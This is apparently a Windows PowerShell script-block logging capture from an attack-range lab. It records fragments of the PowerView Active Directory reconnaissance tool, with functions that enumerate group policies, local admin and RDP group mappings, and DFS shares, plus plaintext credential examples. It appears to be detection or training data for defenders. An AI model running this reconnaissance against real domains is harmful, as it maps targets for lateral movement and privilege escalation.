t ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989519 Keywords=None Message=Creating Scriptblock text (39 of 61): assword123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPOLocalGroup -Credential $Cred .LINK https://morgansimonsenblog.azurewebsites.net/tag/groups/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GPOGroup')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Switch] $ResolveMembersToSIDs, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ConvertArguments = @{} if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainGPO @SearcherArguments | ForEach-Object { $GPOdisplayName = $_.displayname $GPOname = $_.name $GPOPath = $_.gpcfilesyspath $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists $Inf = Get-GptTmpl @ParseArgs if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { $Memberships = @{} # parse the members/memberof fields for each entry ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} # extract out ALL members $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} if ($PSBoundParameters['ResolveMembersToSIDs']) { # if the resulting member is username and not a SID, attempt to resolve it $GroupMembers = @() ForEach ($Member in $MembershipValue) { if ($Member -and ($Member.Trim() -ne '')) { if ($Member -notmatch '^S-1-.*') { $ConvertToArguments = @{'ObjectName' = $Member} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $MemberSID = ConvertTo-SID @ConvertToArguments if ($MemberSID) { $GroupMembers += $MemberSID } else { $GroupMembers += $Member } } else { $GroupMembers += $Member } } } $MembershipValue = $GroupMembers } if (-not $Memberships[$Group]) { $Memberships[$Group] = @{} } if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} $Memberships[$Group].Add($Relation, $MembershipValue) } ForEach ($Membership in $Memberships.GetEnumerator()) { if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name $GroupSID = $Membership.Key.Trim('*') if ($GroupSID -and ($GroupSID.Trim() -ne '')) { $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments } else { $GroupName = $False } } else { $GroupName = $Membership.Key if ($GroupName -and ($GroupName.Trim() -ne '')) { if ($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } elseif ($Groupname -match 'Remote Desktop') { $GroupSID = 'S-1-5-32-555' } elseif ($Groupname -match 'Guests') { $GroupSID = 'S-1-5-32-546' } elseif ($GroupName.Trim() -ne '') { $ConvertToArguments = @{'ObjectName' = $Groupname} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $GroupSID = ConvertTo-SID @ConvertToArguments } else { $GroupSID = $Null } } } $GPOGroup = New-Object PSObject $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' $GPOGroup | Add-Member Noteproperty 'Filters' $Null $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') $GPOGroup } } # now try to the parse group policy preferences file (Groups.xml) if it exists $ParseArgs = @{ 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" } Get-GroupsXML @ParseArgs | ForEach-Object { if ($PSBoundParameters['ResolveMembersToSIDs']) { $GroupMembers = @() ForEach ($Member in $_.GroupMembers) { if ($Member -and ($Member.Trim() -ne '')) { if ($Member -notmatch '^S-1-.*') { # if the resulting member is username and not a SID, attempt to resolve it $ConvertToArguments = @{'ObjectName' = $Groupname} if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member if ($MemberSID) { $GroupMembers += $MemberSID } else { $GroupMembers += $Member } } else { $GroupMembers += $Member } } } $_.GroupMembers = $GroupMembers } $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName $_ | Add-Member Noteproperty 'GPOName' $GPOName $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') $_ } } } } function Get-DomainGPOUserLocalGroupMapping { <# .SYNOPSIS Enumerates the machines where a specific domain user/group is a member of a specific local group, all through GPO correlation. If no user/group is specified, all discoverable mappings are returned. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup .DESCRIPTION Takes a user/group name and optional domain, and determines the computers in the domain the user/group has local admin (or RDP) rights to. It does this by: 1. resolving the user/group to its proper SID 2. enumerating all groups the user/group is a current part of and extracting all target SIDs to build a target SID list 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling Get-DomainGPOLocalGroup 4. matching the target SID list to the queried GPO SID list to enumerate all GPO the user is effectively applied with 5. enumerating all OUs and sites and applicable GPO GUIs are applied to through gplink enumerating 6. querying for all computers under the given OUs or sites If no user/group is specified, all user/group -> machine mappings discovered through GPO relationships are returned. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the user/group to identity GPO local group mappings for. .PARAMETER LocalGroup The local group to check access against. Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), or a custom local SID. Defaults to local 'Administrators'. .PARAMETER Domain Specifies the domain to enumerate GPOs for, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989518 Keywords=None Message=Creating Scriptblock text (38 of 61): all OUs the target user/computer is a part of $ObjectOUs = @() $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { if($_.startswith('OU=')) { $ObjectDN.SubString($ObjectDN.IndexOf("$($_),")) } } Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" if ($ObjectOUs) { # find all the GPOs linked to the user/computer's OUs $SearcherArguments.Remove('Properties') $InheritanceDisabled = $False ForEach($ObjectOU in $ObjectOUs) { $SearcherArguments['Identity'] = $ObjectOU $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { # extract any GPO links for this particular OU the computer is a part of if ($_.gplink) { $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $Parts = $_.split(';') $GpoDN = $Parts[0] $Enforced = $Parts[1] if ($InheritanceDisabled) { # if inheritance has already been disabled and this GPO is set as "enforced" # then add it, otherwise ignore it if ($Enforced -eq 2) { $GpoDN } } else { # inheritance not marked as disabled yet $GpoDN } } } } # if this OU has GPO inheritence disabled, break so additional OUs aren't processed if ($_.gpoptions -eq 1) { $InheritanceDisabled = $True } } } } if ($TargetComputerName) { # find all the GPOs linked to the computer's site $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { $SearcherArguments['Identity'] = $ComputerSite $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { if($_.gplink) { # extract any GPO links for this particular site the computer is a part of $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $_.split(';')[0] } } } } } } # find any GPOs linked to the user/computer's domain $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) $SearcherArguments.Remove('Identity') $SearcherArguments.Remove('Properties') $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { if($_.gplink) { # extract any GPO links for this particular domain the computer is a part of $_.gplink.split('][') | ForEach-Object { if ($_.startswith('LDAP')) { $_.split(';')[0] } } } } Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" # restore the old properites to return, if set if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } else { $SearcherArguments.Remove('Properties') } $SearcherArguments.Remove('Identity') $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { # use the gplink as an ADS path to enumerate all GPOs for the computer $SearcherArguments['SearchBase'] = $_ $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" Get-DomainObject @SearcherArguments | ForEach-Object { if ($PSBoundParameters['Raw']) { $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } else { $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } $_ } } } else { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match 'LDAP://|^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $GPOSearcher = Get-DomainSearcher @SearcherArguments if (-not $GPOSearcher) { Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -match '{.*}') { $IdentityFilter += "(name=$IdentityInstance)" } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(displayname=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } else { $Results = $GPOSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $GPO = $_ $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') } else { if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { $GPO = Convert-LDAPProperty -Properties $_.Properties try { $GPODN = $GPO.distinguishedname $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath } catch { Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" } } else { $GPO = Convert-LDAPProperty -Properties $_.Properties } $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') } $GPO } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" } } $GPOSearcher.dispose() } } } } function Get-DomainGPOLocalGroup { <# .SYNOPSIS Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences. Also return their user membership mappings, if they exist. Author: @harmj0y License: BSD 3-Clause Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID .DESCRIPTION First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or group membership is set through Group Policy Preferences groups.xml files. For any GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' section data is processed if present. Any found Groups.xml files are parsed with Get-GroupsXML and those memberships are returned as well. .PARAMETER Identity A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. .PARAMETER ResolveMembersToSIDs Switch. Indicates that any member names should be resolved to their domain SIDs. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGPOLocalGroup Returns all local groups set by GPO along with their members and memberof. .EXAMPLE Get-DomainGPOLocalGroup -ResolveMembersToSIDs Returns all local groups set by GPO along with their members and memberof, and resolve any members to their domain SIDs. .EXAMPLE '{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup Return any GPO-set groups for the GPO with the given name/GUID. .EXAMPLE Get-DomainGPOLocalGroup 'Desktops' Return any GPO-set groups for the GPO with the given display name. .EXAMPLE $SecPassword = ConvertTo-SecureString 'P ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989517 Keywords=None Message=Creating Scriptblock text (37 of 61): : Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID .DESCRIPTION Parses a groups.xml into a custom object. If -Credential is passed, Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds, the files are parsed, and the connection is destroyed later with Remove-RemoteConnection. .PARAMETER GroupsXMLpath Specifies the groups.xml file path name to parse. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .OUTPUTS PowerView.GroupsXML #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.GroupsXML')] [CmdletBinding()] Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Path')] [String] $GroupsXMLPath, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $MappedPaths = @{} } PROCESS { try { if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL" if (-not $MappedPaths[$SysVolPath]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -Path $SysVolPath -Credential $Credential $MappedPaths[$SysVolPath] = $True } } [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop # process all group properties in the XML $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object { $Groupname = $_.Properties.groupName # extract the localgroup sid for memberof $GroupSID = $_.Properties.groupSid if (-not $GroupSID) { if ($Groupname -match 'Administrators') { $GroupSID = 'S-1-5-32-544' } elseif ($Groupname -match 'Remote Desktop') { $GroupSID = 'S-1-5-32-555' } elseif ($Groupname -match 'Guests') { $GroupSID = 'S-1-5-32-546' } else { if ($PSBoundParameters['Credential']) { $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential } else { $GroupSID = ConvertTo-SID -ObjectName $Groupname } } } # extract out members added to this group $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { if ($_.sid) { $_.sid } else { $_.name } } if ($Members) { # extract out any/all filters...I hate you GPP if ($_.filters) { $Filters = $_.filters.GetEnumerator() | ForEach-Object { New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } else { $Filters = $Null } if ($Members -isnot [System.Array]) { $Members = @($Members) } $GroupsXML = New-Object PSObject $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath $GroupsXML | Add-Member Noteproperty 'Filters' $Filters $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML') $GroupsXML } } } catch { Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_" } } END { # remove the SYSVOL mappings $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ } } } function Get-DomainGPO { <# .SYNOPSIS Return all GPOs or specific GPO objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all GPO objects for the current domain are returned. To enumerate all GPOs that are applied to a particular machine, use -ComputerName X. .PARAMETER Identity A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. .PARAMETER ComputerIdentity Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.). .PARAMETER UserIdentity Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainGPO -Domain testlab.local Return all GPOs for the testlab.local domain .EXAMPLE Get-DomainGPO -ComputerName windows1.testlab.local Returns all GPOs applied windows1.testlab.local .EXAMPLE "{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display name of "Test GPO" .EXAMPLE Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGPO -Credential $Cred .OUTPUTS PowerView.GPO Custom PSObject with translated GPO property fields. PowerView.GPO.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.GPO')] [OutputType('PowerView.GPO.Raw')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Parameter(ParameterSetName = 'ComputerIdentity')] [Alias('ComputerName')] [ValidateNotNullOrEmpty()] [String] $ComputerIdentity, [Parameter(ParameterSetName = 'UserIdentity')] [Alias('UserName')] [ValidateNotNullOrEmpty()] [String] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $GPOSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($GPOSearcher) { if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { $GPOAdsPaths = @() if ($SearcherArguments['Properties']) { $OldProperties = $SearcherArguments['Properties'] } $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' $TargetComputerName = $Null if ($PSBoundParameters['ComputerIdentity']) { $SearcherArguments['Identity'] = $ComputerIdentity $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 if(-not $Computer) { Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" } $ObjectDN = $Computer.distinguishedname $TargetComputerName = $Computer.dnshostname } else { $SearcherArguments['Identity'] = $UserIdentity $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 if(-not $User) { Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" } $ObjectDN = $User.distinguishedname } # extract ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989516 Keywords=None Message=Creating Scriptblock text (36 of 61): ]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) $share_name_size_start = $server_name_end + 1 $share_name_size_end = $share_name_size_start + 1 $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) $share_name_start = $share_name_size_end + 1 $share_name_end = $share_name_start + $share_name_size - 1 $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) $target_list += "\\$server_name\$share_name" $t_offset = $share_name_end + 1 } } } $offset = $blob_data_end + 1 $dfs_pkt_properties = @{ 'Name' = $blob_name 'Prefix' = $prefix 'TargetList' = $target_list } $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties $prefix = $Null $blob_name = $Null $target_list = $Null } $servers = @() $object_list | ForEach-Object { if ($_.TargetList) { $_.TargetList | ForEach-Object { $servers += $_.split('\')[2] } } } $servers } function Get-DomainDFSShareV1 { [CmdletBinding()] Param( [String] $Domain, [String] $SearchBase, [String] $Server, [String] $SearchScope = 'Subtree', [Int] $ResultPageSize = 200, [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $DFSsearcher = Get-DomainSearcher @PSBoundParameters if ($DFSsearcher) { $DFSshares = @() $DFSsearcher.filter = '(&(objectClass=fTDfs))' try { $Results = $DFSSearcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $RemoteNames = 